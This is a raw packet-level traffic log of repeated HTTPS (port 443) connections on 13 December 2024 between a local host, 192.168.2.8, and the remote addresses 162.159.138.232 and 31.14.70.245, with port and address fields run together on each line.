                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.095005035 CET44349748162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.096115112 CET44349748162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.096184015 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.097413063 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.097595930 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.098671913 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.098712921 CET44349750162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.103039980 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.103447914 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.103466988 CET44349750162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.546799898 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.546889067 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.546982050 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.553740978 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.553766966 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.780857086 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.780904055 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.780978918 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.802753925 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.802783012 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.027184963 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.027961969 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.027998924 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.029058933 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.029148102 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.030129910 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.030276060 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.030283928 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.030332088 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.031330109 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.031379938 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.031462908 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.031774044 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.031791925 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.313389063 CET44349750162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.313935041 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.313968897 CET44349750162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.315049887 CET44349750162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.315115929 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.316174984 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.316333055 CET49750443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.318145990 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.318188906 CET44349755162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.318281889 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.318667889 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:26.318679094 CET44349755162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.193507910 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.193644047 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.195250988 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.195257902 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.195470095 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.198402882 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.198402882 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.198415041 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.240647078 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.241180897 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.241210938 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.242206097 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.242281914 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.243233919 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.243376017 CET44349754162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.243400097 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.243426085 CET49754443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.244554043 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.244601965 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.244672060 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.245055914 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.245068073 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.528378010 CET44349755162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.529162884 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.529181004 CET44349755162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.530213118 CET44349755162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.530288935 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.532790899 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.532841921 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.532926083 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.533096075 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.533096075 CET49755443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.533276081 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.533287048 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.913860083 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.913938999 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.918971062 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.926343918 CET49753443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:27.926390886 CET4434975331.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.183547974 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.183614016 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.183712959 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.193793058 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.193826914 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.454509020 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.461921930 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.461973906 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.463028908 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.463121891 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.478566885 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.478734016 CET44349756162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.478812933 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.482821941 CET49756443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.499085903 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.499140978 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.499249935 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.503555059 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.503567934 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.748461008 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.751283884 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.751318932 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.752342939 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.752405882 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.753942013 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.754072905 CET44349757162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.754082918 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.754117966 CET49757443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.755167007 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.755230904 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.755302906 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.755641937 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:28.755654097 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.573647022 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.573719978 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.575428963 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.575440884 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.576128006 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.578440905 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.578496933 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.578519106 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.715050936 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.715945005 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.715976954 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.717084885 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.717175007 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.718399048 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.718578100 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.718588114 CET44349761162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.718647003 CET49761443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.719974995 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.720016956 CET44349763162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.720092058 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.720503092 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.720513105 CET44349763162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.964735031 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.965774059 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.965795994 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.966775894 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.966849089 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.967900038 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.968038082 CET44349762162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.968056917 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:29.968091965 CET49762443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.426659107 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.426742077 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.426979065 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.442485094 CET49760443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.442511082 CET4434976031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.940113068 CET44349763162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.940577030 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.940608978 CET44349763162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.943878889 CET44349763162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.943934917 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.945041895 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.945187092 CET49763443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.946871996 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.946921110 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.946990967 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.947360039 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:30.947379112 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:31.894850016 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:31.894902945 CET44349765162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:31.894974947 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:31.895513058 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:31.895524979 CET44349765162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.158108950 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.158559084 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.158576012 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.159694910 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.159749985 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.161231041 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.161401033 CET44349764162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.161417961 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.161441088 CET49764443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.162471056 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.162497044 CET44349766162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.162554026 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.162903070 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:32.162914038 CET44349766162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.111895084 CET44349765162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.113279104 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.113306046 CET44349765162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.114375114 CET44349765162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.114443064 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.115515947 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.115674019 CET49765443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.116688013 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.116722107 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.117022038 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.117363930 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.117373943 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.372749090 CET44349766162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.375524998 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.375551939 CET44349766162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.376602888 CET44349766162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.376673937 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.377645016 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:33.377804995 CET49766443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.327023029 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.332154989 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.332182884 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.333430052 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.333501101 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.352619886 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.352921009 CET44349767162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.353107929 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.356607914 CET49767443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.379471064 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.379518986 CET44349768162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.379626989 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.383824110 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:34.383838892 CET44349768162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.594175100 CET44349768162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.594804049 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.594835043 CET44349768162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.595993996 CET44349768162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.596160889 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.597039938 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.597193956 CET49768443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.598376036 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.598438978 CET44349769162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.598509073 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.598865032 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:35.598880053 CET44349769162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.809669971 CET44349769162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.810455084 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.810483932 CET44349769162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.811542988 CET44349769162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.811611891 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.812526941 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.812661886 CET49769443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.813872099 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.813908100 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.813985109 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.814291000 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:36.814302921 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.023191929 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.023834944 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.023855925 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.024945021 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.025019884 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.026050091 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.026233912 CET44349771162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.026242018 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.026294947 CET49771443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.027597904 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.027653933 CET44349772162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.027729034 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.028215885 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:38.028232098 CET44349772162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.238759041 CET44349772162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.239228010 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.239293098 CET44349772162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.240506887 CET44349772162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.240581036 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.241571903 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.241719007 CET49772443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.242907047 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.242964983 CET44349773162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.243037939 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.243407965 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:39.243422031 CET44349773162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.451792002 CET44349773162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.452804089 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.452835083 CET44349773162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.454838991 CET44349773162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.454906940 CET49773443192.168.2.8162.159.138.232
